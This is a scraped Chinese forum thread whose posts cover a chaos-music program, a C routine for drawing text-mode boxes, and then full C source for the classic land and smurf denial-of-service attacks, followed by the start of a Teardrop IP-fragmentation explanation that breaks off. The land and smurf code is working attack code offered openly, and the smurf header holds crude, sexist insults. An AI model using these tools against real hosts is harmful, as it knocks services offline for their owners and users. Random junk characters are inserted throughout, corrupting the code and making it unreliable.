  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。# a( }( C1 K+ ~# B2 o6 [! {
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
& }, R1 Z, C/ T- j8 @<FONT color=#009900>/*
5 l9 J: ^" o" k1 c6 F*5 P5 C5 Z: r5 Y
* Short driver module2 ^0 Z1 w4 U2 y  S
*
4 v3 @: A8 l- W/ \2 F  n*/</FONT></P><><FONT color=#009900>main()
# l4 f7 _6 i' U- R{: q' o3 E  c7 r" {" m: Y
clrscr();
  H1 N) ]7 B6 q! kbox(1,1,23,79);
2 Q" K8 o3 B& cbox(2,2,21,77);# X0 k" X0 F$ @/ R3 x
box(3,3,19,75);( s) j1 u5 p2 y8 [
box(4,4,17,73);. H8 i7 l/ S1 E9 y  T) _
box(5,5,15,71);- r+ ~) \  M" j& x' D
box(6,6,13,69);1 I; s4 x- R2 ?, h
box(7,7,11,67);
9 l% |6 E/ m( \1 ]  `$ Abox(8,8,9,65);
, S" \- ]/ U% T6 R5 n) Rbox(9,9,7,63);
' U. y  e2 k1 h6 d; u& |box(10,10,5,61);6 \1 Z* d8 K/ ^7 y* W* R6 w
box(11,11,3,59);
. E6 ?! J4 v) o6 _3 Z' Hbox(12,12,1,57);
2 Y7 f8 d* f1 z" _; [9 S* pposcur(24,1);8 W1 o- y* w" X1 J8 ?9 c) P+ A
}</FONT></P><><FONT color=#009900>/************************************************************
0 `9 m- e4 L% K# u, p; c* BOX *$ D+ T5 h% U, M
*----------------------------------------------------------*% h. u3 j: [- D) }- o
* Written by: Jeff Ebert 7/01/87 *; i# I5 v- ^$ g
* Modified by: xxxxxxxxxx *
( ^# E; b$ R1 U; j* *2 ^- _" z7 p% g# v6 ]) o( P% A( d
* Please modify me! *+ w  q8 @! c- s# O) }( p8 G
* Possible Enhancements include but are not limited t *
- ~3 g& e3 q  D6 K% g, D; |' \" `8 I7 z* 1) Variable box character styles [1 line or 2] *+ n& }; Y( |; N
* 2) Error checking *$ _  M8 h2 @0 }- S2 y
* 3) Color options *
1 C2 P! D" E7 d# l: `- E8 I* *
1 |- j3 b+ h: `" w$ i7 q* *0 s! x# g1 p9 d" t1 {8 @
* This function builds a simple double frame for a menu. *8 z; @7 U) w6 v
* The function is passed the parameters for the upper *! l1 b9 h, `6 V8 O+ Y! ?0 k
* left corner row, upper left corner column the height *
% h  d$ T, S4 b7 U* of the frame and the width. *
- {% Z* l9 v" Y1 a# F% L* *( b2 ^$ e* j; Q! G+ f
************************************************************/
; ]2 S# i9 [1 D4 Q& N1 P#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
, w7 I8 }8 W( x#define URCOR 187
) A' S7 ^  o: Q* }% i& ^, |# U#define LLCOR 200
0 v2 ~; x) Z1 _# E: h3 h#define LRCOR 1884 }# V# z" w1 A4 z
#define VBAR 186. `' v- F: k5 {. T: d( }  n+ ^2 t
#define HBAR 2059 J' ~9 Y3 O- W" Y( d& j7 ]& A
#define ESC 27</FONT></P><><FONT color=#009900>
) U, G" p+ l- c1 p: ?$ x; Ubox(row, col, hgt, wdth)
. v3 N! H7 H# i% X4 b5 oint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
9 y2 ?! r0 A% u5 ^% @2 Gint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);# F) P( o1 q( r& q- R
putchar(ULCOR);0 B9 U4 K% `7 m* f
for(x = col + 1; x &lt;=(col + wdth -1); x++)3 X9 u+ D2 n, V, ^
putchar(HBAR);
* v# F; Y5 P7 t( Z% A" `5 qputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){1 O' v  J5 a3 B' `8 x: r
poscur(x,col);8 c0 Y6 s' g! W# l5 l
putchar(VBAR);  H( ~- O7 M( \
poscur(x,col+wdth);* L$ u8 F, T1 Q" x/ I$ t( I
putchar(VBAR);  R5 \$ L( x1 s$ v
}# Y2 q: Y; O/ q; z0 y( \, O
poscur(x,col);
$ I( V7 W8 X$ k4 M" w8 hputchar(LLCOR);
: h: ?! n: ]/ Rfor(x= col + 1; x &lt;=(col + wdth -1); x++). P; ~- e) q" f$ ?
putchar(HBAR);. Y  Y" f  C- f( b/ Q
putchar(LRCOR);8 ^5 E1 n$ ?% C; f+ ]( s+ r
}</FONT></P><><FONT color=#009900>/********************************************************
7 B: z% J9 x/ n+ Y  T' o! k' W* POSCUR *8 E$ `) C& S% H) o) L
*------------------------------------------------------*
* v4 i* u( o5 w+ P+ t* This function positions the cursor at the specified *
8 m; v5 T; Y$ g' o* x,y coordinate. It uses the ANSI standard ESCAPE *
  |* t  s/ s0 D# P! e' u2 N* sequence to produce the desired effect. Its not the *
/ f6 S5 }: c' a- [0 o6 `* fastest way to position the cursor, but perhaps the *: D) t4 z9 @3 ]# W/ K6 k
* most portable. *1 V5 s& E( n4 U
* *
1 \0 N3 k/ l/ `********************************************************/1 }8 ^( }! \. H0 ^
poscur(xcor,ycor)
% q  `, l: c( Y! A1 |9 Hint xcor,ycor;! ~6 p/ l( h' P+ V' K: W2 ]
{ " j' Z, Y4 i; e' U! e; l
printf("%c[%d;%dH",ESC,xcor,ycor);) H% B$ q* b( |* N% x
}</FONT></P><><FONT color=#009900>" G/ S' g$ v2 h0 L* |/ I0 W
/********************************************************- x2 T: S$ P- Q$ ~  y: x! Y& N
* CLRSCR *
: b! n6 Q2 f% ]# w*------------------------------------------------------*
5 m4 B: c7 Y+ W" l6 o* This function positions the cursor at the specified *- c2 Y- J8 _- s$ n* H+ C& g7 W2 q$ b
* x,y coordinate. It uses the ANSI standard ESCAPE *
. R6 J# e8 B- m8 {- t* sequence to produce the desired effect. Its not the *
8 N. e* T5 o7 |- X8 R) N7 ?* fastest way to position the cursor, but perhaps the *" e3 L- `# G# p
* most portable. *8 m: H7 f3 O6 B" d. V0 ~3 F
* *
+ V5 e0 @: s* T0 w2 f********************************************************/* R, d. O3 w! u7 g& I7 [* c
clrscr()
& O% T1 E& V* f8 q8 ?{
1 x8 d1 G& j+ Z- O) j1 Y( qprintf("%c[2J",ESC);
, P. ?1 `7 `- p  k8 g, j}</FONT>
8 [" m1 F; c8 J5 j+ h  |</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
2 \8 r0 z* B  \% L这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
3 S! @- A. }% @+ c6 ~8 e0 m; F  d己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
0 x: \/ C$ }0 ?8 Y<FONT color=#009900>/* land.c by m3lt, FLC
( X$ J6 A! T( O- P4 v$ d7 Fcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>% c2 u/ e: I' J$ W$ [3 ^/ x% C1 d
#include <NETDB.H>8 a+ U$ h7 \. p1 I  E( U& }1 _, R
#include <ARPA inet.h>
' `* V) I, \0 I3 _2 f6 @#include <NETINET in.h>
/ }# b5 J) E6 f( T7 C6 l5 e# ?6 q#include <SYS types.h>
& b6 l/ P8 B# a- c#include <SYS socket.h>$ r' ~" Q5 a: G( a3 T
#include <NETINET ip.h>
. ?9 A. Q! Q9 v3 l: J4 f  }4 Q#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
0 l" Y# g) Z2 l( M) ustruct pseudohdr
& Z9 G* {" j9 U" s1 g" ]/ `7 z+ D* R{
+ l; |* N! B: L9 P  Dstruct in_addr saddr;+ p* v2 f) q+ J2 \. k. A0 {
struct in_addr daddr;
; I+ A7 t2 l4 P) u6 Z- t9 i& Xu_char zero;; I# N1 `% g% U+ v; N& X
u_char protocol;9 V# M. J  N& x$ \/ w8 P1 a
u_short length;/ {; Z0 R$ N" e# y5 {) _. O( v# R8 I
struct tcphdr tcpheader;
1 a2 _+ @2 c- }3 g0 _};</FONT></P><><FONT color=#009900>//计算IP校验和
2 b! e  l+ D. f) _u_short checksum(u_short * data,u_short length)
, c1 \, o5 u: K{) I8 j; g3 F$ }# e9 ~
register long value;& `  w* y' ?# B
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)) W& M; {0 Q# }3 h7 k- k7 {" B, w
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
2 d9 p: m! x- L2 zvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
; e# p* j/ y1 Q6 I9 W' y3 e; B8 D# P}</FONT></P><><FONT color=#009900>
% j- V$ m# Z) iint main(int argc,char * * argv)
& ^$ H% q7 X8 Q% a" R{
# ~9 L! `% d! D" q0 Jstruct sockaddr_in sin;
% v% D$ C' h6 H: X( J9 H4 {- r$ Tstruct hostent * hoste;9 F3 V* S$ L0 H# Y+ f) \- B' B+ a
int sock;
" c, o+ r5 X0 A2 Cchar buffer[40];3 a- ?" s7 F* z% J4 X$ Q4 b
struct iphdr * ipheader=(struct iphdr *) buffer;  F6 C: Y) B- W
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));8 ?4 [: e6 ~  m( H( N. M
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)% J, F* }% i; c: E% X9 @- p" ]1 ~
{
0 c# g8 M- S" W  w+ A' efprintf(stderr,"usage: %s IP port\n",argv[0]);
6 S. U  z! j$ Y$ kreturn(-1);0 k' I* c9 \, f/ j" h7 D1 q
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));' v+ i( Z2 U$ @% T+ l/ s  E/ O& N# W
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL). S" y$ H% u8 P3 F( W
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);1 _5 e1 @& U. m5 {$ x- K
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
% U$ E0 K" I% f{
& h# ~  d5 \- d4 Lfprintf(stderr,"unknown host %s\n",argv[1]);  t1 W% {& [% _( z/ |$ C+ C( D: _
return(-1);
/ u( |  K' A8 O0 h4 I- m}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)/ B  H  X& T, M. P, Q, H* K
{5 F1 G7 f6 B3 O- Y6 i8 N
fprintf(stderr,"unknown port %s\n",argv[2]);
  y3 x+ \5 y, B* o# y6 Zreturn(-1);
4 s2 d( n( v! Z9 m+ a}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限" f' ?6 J  Q6 b4 n
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
1 r( ]( G" F. i! Y3 z, h: o7 e! u{- u: x: O  _" N- V
fprintf(stderr,"couldn't allocate raw socket\n");
! ?# n! y( b9 I0 ^9 I3 @return(-1);
  Q9 c7 C# F$ t/ `) Q) M0 `4 l}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));$ a" ^$ u( P1 t/ n
ipheader-&gt;version=4;
+ h* {. Z! R' c/ r) O7 y$ v7 ?: H9 kipheader-&gt;ihl=sizeof(struct iphdr)/4;4 u" _4 P- {7 o( {9 H
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
. u( V& s) P$ J  }3 C/ Eipheader-&gt;id=htons(0xF1C);& O0 J( s9 \# u8 j: K: p/ i4 `
ipheader-&gt;ttl=255;
4 k5 n) n# V- `" }8 K! j, e' sipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同! K+ H1 Z8 r, `3 I! e
ipheader-&gt;saddr=sin.sin_addr.s_addr;$ s* B7 x0 n( f. z, i: R
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同+ a. V3 V5 ~* S
tcpheader-&gt;th_sport=sin.sin_port;
9 V8 l% m$ g; V. j$ a9 b5 ltcpheader-&gt;th_dport=sin.sin_port;" _2 r8 S) a0 h( L2 Y7 Z
tcpheader-&gt;th_seq=htonl(0xF1C);6 O% x) S0 m# a5 g! D
tcpheader-&gt;th_flags=TH_SYN;
0 q% u* a& o  n0 F0 ]tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;% D7 E1 t* v: s$ ~. d# ]
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));; P8 V: g2 z/ c6 \$ T, h4 a4 Y
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;! I5 T' B2 B; P, Q4 k
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
9 q, _' ]  h; c& g8 S# w8 v, w# Lpseudoheader.protocol=6;7 Y6 i! H+ B2 W. k, L3 B4 }
pseudoheader.length=htons(sizeof(struct tcphdr));2 d; I4 W$ z" g5 ^! y
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
1 ?" L5 K) D! q' o$ ~+ Z6 Btcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
$ d% v# l* Y  K" T% q$ f/ I5 Q0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
8 O5 D; g; G$ _6 ~' g3 [{% H" C: Z. D* D# S
fprintf(stderr,"couldn't send packet\n");% y6 {3 a9 L/ V4 |, I4 Y3 r
return(-1);9 N5 F( X0 I/ y' C( g
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
6 I0 V) P5 I. S  \& b- W8 R0 t, Y8 Mreturn(0);
" H2 L3 C) x, j  {6 `}</FONT></P><>
$ n; E# l2 O0 M$ J) F2 Smurf
, q0 Z4 y3 l0 g" y4 zsmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
" `3 j0 R7 c( ^% V# B$ N3 I据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
) ]" n( f& l8 T, z# S' e' [的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
6 j, a& G) X3 l* i1 jicmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
8 W' Q; v8 K' f, E0 q( I" P(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变. _& x5 G7 G& r  x
成不可能(没有WINS服务器时)。</P><P>/*0 Q7 ]4 E6 J6 g7 B' d
*" A; |) I$ w( S- e- ~; `# i2 ^
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
6 R$ w: Q! \; J*
" g2 ]  Z3 t4 c3 F( O/ T* spoofs icmp packets from a host to various broadcast addresses resulting' b3 U7 m$ g. o( m
* in multiple replies to that host from a single packet.2 y9 \* f# R3 r" }. h
*: |7 b; g, x$ D6 d0 Y
* mad head t) h; `8 k( \% w9 `' b; K3 w4 Q, p
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
" F! A. p5 h% u& w( x, l. `* MissSatan for swallowing, napster for pimping my sister, the guy that
2 z& J6 N/ F: Z/ x6 H$ `. R* invented vaseline, fyber for trying, knowy, old school #havok, kain
) d) Q+ o7 Q4 z: m! F* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might) J; p9 [. X& D. d
* have missed (you know who you are).
  w) K, j& I6 L; L6 m*1 K, I% m& p9 u/ w
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
# {  I. @5 B9 e6 ^6 o  u9 N+ l* thing he is (he's -almost- as stubborn as me, still i managed to pick up9 r4 J: s- f+ U- ^+ h/ U
* half the cheque).3 z2 f. o' k( b3 I; Z+ f* B
*
8 G! [) k, h7 w2 P* and a special hi to Todd, face it dude, you're fucking awesome.. ~( z# J& Y) ~
*7 a. ^* _* E- i1 z
* mad anal t
  }9 P+ e2 W% j; i) r* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
+ F$ r8 w8 [, q+ i+ T% \9 T& x1 L* because they plain suck, Rolex for being a twit, everyone that
1 w1 g" s6 q7 m2 w* trades warez, Caren for being a lesbian hoe, AcidKill for being her$ ]4 K, @2 h8 o& Q! ]. n0 k9 I
* partner, #cha0s, sedriss for having an ego in inverse proportion to
8 {  A' ]2 @) P* O- v* his penis and anyone that can't pee standing up -- you don't know what* |* |: l$ ^6 S% L% l' t& G) G5 J% j
* your missing out on.
! G3 C5 \3 A8 a*
/ w  E$ ~7 b4 `/ `* and anyone thats ripped my code (diff smurf.c axcast.c is rather
6 i4 R. ]( J+ z' ^5 a# c2 _" K* interesting).6 T( @  w$ R9 w* z
*
! R9 ?) @5 j+ k- `* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill1 ~6 @2 i* Q: [1 ^" b4 f( Q
* Robbins for trying to steal my girlfriend. Not only did you show me6 C) I4 ]( W  z4 O- t. h* d" N
* no respect but you're a manipulating prick who tried to take away the
8 S: m( c, t$ o# Y( J. s- L: d* most important thing in the world to me with no guilt whatsoever, and
7 [) p' x: t/ O1 y5 p* for that I wish you nothing but pain. Die.
; p" S0 B% k0 D' a# b0 [*
' V* C3 S& w9 a0 s5 ]( T* disclaimer:  h9 s! H8 h. C; h6 i& z. e
* I cannot and will not be held responsible nor legally bound for the  j" O% O" n3 j, M8 i! {( [
* malicious activities of individuals who come into possession of this
& M- z! o, v5 D1 y& P& r- T* program and I refuse to provide help or support of any kind and do NOT
$ O+ R( y0 l  N- L* condone use of this program to deny service to anyone or any machine.! V  z' c2 ]' w- P6 s4 Q
* This is for educational use only. Please Don't abuse this.
2 y7 y8 k- ~' I: m" q, y! O) d*8 I: n, U/ B" T+ g  E
* Well, i really, really, hate this code, but yet here I am creating another- p# A- \, J% R1 w& g7 ]( y
* disgusting version of it. Odd, indeed. So why did I write it? Well, I," J( W) l* Q# r7 V6 t5 ^& q. Z# }: ]' p
* like most programmers don't like seeing bugs in their code. I saw a few- R; g* ?& r" D$ G. V9 n
* things that should have been done better or needed fixing so I fixed
3 ^* O: B# v2 X+ `$ h3 c* them. -shrug-, programming for me as always seemed to take the pain away
) }2 @* Q7 o; o  G+ a1 s* ...
. y% g. c8 {9 `0 x- f5 s& O5 B*8 W9 w1 C" g" ~1 v; M4 p: B
*. T, y) Y, C- p  G! E
*/</P><P>#include <SIGNAL.H>
; k- |  I3 j' J/ L#include <STDIO.H>
3 L6 [6 M# d. a  T; X/ u) k6 h: x: a#include <STDLIB.H>5 S$ w1 n# x! Q- q
#include <SYS socket.h>
. z& \7 g$ Y6 u& D#include <SYS types.h>
9 L+ C' I9 Q) L0 x; C* Y) `) ~6 t#include <NETINET in.h>4 i* G* V1 G7 h/ H: z# ~/ O
#include <NETINET ip.h>
# K5 `* {% b7 b5 e/ N# i# C#include <NETINET ip_icmp.h>4 c1 Z7 x+ j6 n( t; H2 e
#include <NETDB.H>
" ?# J1 a! S4 _( _1 M9 E#include <CTYPE.H>
$ G0 M/ A5 _  O7 L( J! j#include <ARPA inet.h>
, x' @, y; Q0 D. u8 S#include <UNISTD.H>
  |& e9 p* p5 e#include <STRING.H></P><P>void banner(void);5 h. ?( J6 D6 A# ^# i7 s
void usage(char *);
; p4 l" W2 q' _void smurf(int, struct sockaddr_in, u_long, int);
2 `5 A  K# R" O9 Ivoid ctrlc(int);' ~4 t- G) U' Y* G
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */( D( @6 W$ {8 A
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])/ o# C" L* M- L' S8 ?
{
3 e5 V7 v* `3 b' D2 Zstruct sockaddr_in sin;
' h0 `. N% O/ Q$ Y2 F. Nstruct hostent *he;
' h; S* E+ K9 S6 jFILE *bcastfile;7 Y8 ~7 ?" ?. b2 N5 I' Z* l1 q
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
9 K) ]: Q; y9 d2 N, ychar buf[32], **bcastaddr = malloc(8192);</P><P>banner();- T2 D* }; z* n" E7 l, q* _. H
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {* ]6 e2 c$ p! C7 \7 E9 X
perror("resolving source host");
. ~" d" N/ D; u% bexit(-1);
% k0 C2 F. {. V2 ^: D}6 f2 U( b! o8 n' m3 [2 Z4 W
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
7 a/ f% h& `4 T9 G$ Q' P/ ]! Ksin.sin_family = AF_INET;1 d. P% n: ]. Y8 ?% B; @4 ^
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
% ^9 a2 x9 L- t0 r, V# w$ r) y. qdelay = atoi(argv[4]);
, }0 G. r* H1 K  Npktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {* C; a4 \6 v6 W. s
perror("opening bcast file");
2 _3 Z9 H' W& wexit(-1);5 L& J: L" X/ j( L. V$ g
}
$ z; u/ {0 a2 r/ Sx = 0;
2 U. P! v( d; `  ?while (!feof(bcastfile)) {
* _/ M8 q1 o" a4 A) Z, |9 Qfgets(buf, 32, bcastfile);' Q/ Y/ V& s( J, J8 I
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;5 C; w4 i, u- I/ T- Z
for (i = 0; i &lt; strlen(buf); i++)
* K6 L' P) z, Z9 B3 C: Kif (buf == '\n') buf = '\0';
' f. Z; @# A8 M  @& Cbcastaddr[x] = malloc(32);/ U) Q8 R% r0 U/ f( e# e2 ?8 i. t$ P6 N
strcpy(bcastaddr[x], buf);) O  h9 J. m7 G- ~
x++;
: [9 A% f* k1 S* T, z: a5 F}
0 V$ L! w' \# E( vbcastaddr[x] = 0x0;: H5 r: \7 U5 ]" @; K0 f1 D5 t. d
fclose(bcastfile);</P><P>if (x == 0) {
3 h8 w8 V5 f" o& j! |  j. C* dfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);3 ?( n% f! n- t3 c, S
exit(-1);+ x/ c" d, f8 H& Q
}
* _4 M- v. K7 i6 M7 cif (pktsize &gt; 1024) {4 u2 x5 A; v8 z- a$ m
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
9 x8 K+ g; s/ P5 Lexit(-1);8 i& B5 T; C" q" O) g( O
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {0 t8 E* P/ o  f; ^  l7 K  N
perror("getting socket");
# P9 n. b) U* ~  g- ~- Z8 xexit(-1);
; a8 ~! h1 a  p4 B) X' q% T  V}
& T% R) @2 Q# Vsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {3 N# c8 d+ `; C/ {3 _
if (!(i % 25)) { printf("."); fflush(stdout); }
6 T" }' w; U! v! Tsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);; i! A; e0 v9 N) j2 K9 l' h
cycle++;$ F" U/ v: N8 ~$ k3 M  C
if (bcastaddr[cycle] == 0x0) cycle = 0;
# v, K6 F; o% U4 gusleep(delay);% @0 c2 f4 ]' U+ ?
}
; g5 k) v- O5 q  m( T  Mputs("\n\n");
- ?# o. H0 ^3 o% ?5 Xreturn 0;
  m3 b7 h1 X; I" d' e}</P><P>void banner (void)
4 O5 y( L, q5 ^5 q7 y" }{! u* w1 Y; ^8 a2 d
puts("\nsmurf.c v4.0 by TFreak\n");
; l" r8 R# X2 e) j* M4 {}</P><P>void usage (char *prog)
. \: `" r% W- E! R6 Y* Z9 h+ Q{7 ]9 N+ i- _& R0 r. P5 I
fprintf(stderr, "usage: %s <TARGET><BCAST file>"% k* `/ v& n' }* i- P/ [& {
"<NUM packets> <PACKET delay><PACKET size>\n\n"
# M  g0 O- E+ G  W6 }+ J"target = address to hit\n"6 N* Q: I7 t  M& r. \
"bcast file = file to read broadcast addresses from\n"
  L5 w# x7 U0 N8 e2 z! e" P"num packets = number of packets to send (0 = flood)\n"$ g$ n% Y# O4 ~" V
"packet delay = wait between each packet (in ms)\n"
3 B" o" O, F8 A$ F% Q"packet size = size of packet (&lt; 1024)\n\n", prog);- K6 }: \" J; k* N7 \4 \
exit(-1);. X" D: E/ {9 p6 ]  e
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
3 H5 `  B% E/ p: d, n8 h{( }( s% j& c$ f7 X, o0 [
struct iphdr *ip;! \* h7 _( R8 o% L$ |
struct icmphdr *icmp;
. K8 {3 `) M2 pchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);0 W4 G& R, g1 D
ip = (struct iphdr *)packet;# B; K6 a* f; j: t( M
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);) p( X. s5 L8 H) `9 l
ip-&gt;ihl = 5;2 K. a$ f: [! q! B! K3 Q5 g8 E
ip-&gt;version = 4;  S0 ~7 N* n  V8 g: w, K
ip-&gt;ttl = 255;7 j+ i& H* a% ^
ip-&gt;tos = 0;* ?, C* M3 A5 q6 }) j
ip-&gt;frag_off = 0;' d6 J* {7 i) Y6 T
ip-&gt;protocol = IPPROTO_ICMP;
6 O# o# m$ ]& Hip-&gt;saddr = sin.sin_addr.s_addr;8 U8 U, Q- K0 X2 v* G' T
ip-&gt;daddr = dest;
5 D! l$ s" ~1 i1 F2 wip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
( O+ G7 K: q+ M  X5 vicmp-&gt;type = 8;
& y: a$ U" X7 E* jicmp-&gt;code = 0;
8 i7 M4 t! D% Y; R8 f' Sicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
) F9 \9 b5 M5 B4 L$ W3 S0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */9 |3 a7 }. u3 w% z/ T6 P7 G9 ~
}</P><P>void ctrlc (int ignored)
5 z" z/ {0 X; \/ E( t9 n# l+ [{, j" T8 f, U& M0 l
puts("\nDone!\n");
$ I1 L  k* Z7 Gexit(1);$ \0 m. K+ R& v" m! B' b
}</P><P>unsigned short in_chksum (u_short *addr, int len)
' m& h( h! d. Y" n3 c3 X6 d{& K2 t0 {  [3 ]0 @
register int nleft = len;$ Q+ F7 s2 ^' x) }& ], w
register int sum = 0;
. ~, I- _: N/ u3 D3 gu_short answer = 0;</P><P>while (nleft &gt; 1) {
0 B( y) W" q/ l4 O( _$ zsum += *addr++;0 L) z) h/ P; u; M
nleft -= 2;0 z- K' J2 z. \) f2 m" d7 j
}</P><P>if (nleft == 1) {
: V! ~% R. U# O/ E# j* H*(u_char *)(&amp;answer) = *(u_char *)addr;
, O/ @( }2 K$ N8 i6 b+ Y( ?sum += answer;
4 c( v* T" ?6 p0 L}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);% L) o& q2 K! t9 j( D
sum += (sum &gt;&gt; 16);4 m1 R6 E6 R4 ~1 H% I
answer = ~sum;% g" i# w' m% v! W/ V7 W5 R0 D
return(answer);
- R6 ^. \" {. c) m: [}</P><P>: B$ f% G' O3 y0 _* ]
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
3 s1 {: ?2 Z; w6 rfp = qp-&gt;fragments;
8 V( _7 `8 Y- s& Gwhile(fp != NULL)
5 s5 P4 x, @' E' k7 g; S! w" z{
! a  V( G6 c5 P+ S- `  {if(count+fp-&gt;len &gt; skb-&gt;len)
: U2 {+ Q  H' `; C, _! N8 Q+ @6 d{
3 l* i6 t& D0 m1 S9 oerror_to_big;( Q, b- r, Z3 S( Q
}
